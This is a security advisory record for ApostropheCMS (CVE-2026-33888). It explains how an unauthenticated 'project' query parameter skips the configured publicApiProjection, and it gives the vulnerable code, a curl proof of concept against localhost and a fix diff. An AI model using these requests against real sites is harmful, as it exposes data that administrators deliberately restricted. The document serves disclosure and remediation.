{"id":"GHSA-xhq9-58fw-859p","revision":"ec225cd3725449ef956fa98fc2a2bcc1","records":[{"revision":"ec225cd3725449ef956fa98fc2a2bcc1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xhq9-58fw-859p","aliases":["CVE-2026-33888"],"title":"ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API","description":"## Summary\n\nThe `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.\n\n## Details\n\nWhen an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`:\n\n```javascript\n// piece-type/index.js:1120-1137\ngetRestQuery(req, omitPermissionCheck = false) {\n  const query = self.find(req).attachments(true);\n  query.applyBuildersSafely(req.query);          // [1] attacker input applied first\n  if (!omitPermissionCheck && !self.canAccessApi(req)) {\n    if (!self.options.publicApiProjection) {\n      query.and({\n        _id: null\n      });\n    } else if (!query.state.project) {            // [2] checks if projection already set\n      query.project({\n        ...self.options.publicApiProjection,\n        cacheInvalidatedAt: 1\n      });\n    }\n  }\n  return query;\n},\n```\n\nAt **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans:\n\n```javascript\n// doc-type/index.js:1875-1889\nproject: {\n  launder (p) {\n    if (!p || typeof p !== 'object' || Array.isArray(p)) {\n      return {};\n    }\n    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {\n      return {\n        ...acc,\n        [key]: self.apos.launder.boolean(val)\n      };\n    }, {});\n    return projection;\n  },\n```\n\nWhen a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied.\n\nFor comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection:\n\n```javascript\n// page/index.js:2953-2958\n} else {\n  query.project({\n    ...self.options.publicApiProjection,\n    cacheInvalidatedAt: 1\n  });\n}\n```\n\n## PoC\n\n**Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example:\n\n```javascript\n// modules/article/index.js\nmodule.exports = {\n  extend: '@apostrophecms/piece-type',\n  options: {\n    publicApiProjection: {\n      title: 1,\n      _url: 1\n    }\n  }\n};\n```\n\n**Step 1:** Normal request — observe restricted fields are hidden:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article'\n```\n\nResponse returns only `title` and `_url` fields per the configured projection.\n\n**Step 2:** Bypass projection by supplying `project` query parameter:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'\n```\n\nResponse now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction.\n\n**Step 3:** Request all default fields by projecting inclusion of sensitive fields:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'\n```\n\nAll requested fields are returned, confirming the `publicApiProjection` is fully bypassed.\n\n## Impact\n\n- **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.\n- **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.\n- **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.\n\n## Recommended Fix\n\nRemove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users:\n\n```javascript\n// modules/@apostrophecms/piece-type/index.js:1123-1134\n// BEFORE (vulnerable):\nif (!omitPermissionCheck && !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else if (!query.state.project) {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n\n// AFTER (fixed):\nif (!omitPermissionCheck && !self.canAccessApi(req)) {\n  if (!self.options.publicApiProjection) {\n    query.and({\n      _id: null\n    });\n  } else {\n    query.project({\n      ...self.options.publicApiProjection,\n      cacheInvalidatedAt: 1\n    });\n  }\n}\n```","state":0,"publishedAt":"2026-04-16T20:42:21+00:00","modifiedAt":"2026-04-16T21:11:29.417996+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.29.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p","https://nvd.nist.gov/vuln/detail/CVE-2026-33888","https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80","https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa","https://github.com/apostrophecms/apostrophe"],"sourceUrl":"https://github.com/advisories/GHSA-xhq9-58fw-859p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xhq9-58fw-859p","identifiers":["GHSA-xhq9-58fw-859p","CVE-2026-33888"]},"retained":false,"historicalAffected":[]}],"coverage":[]}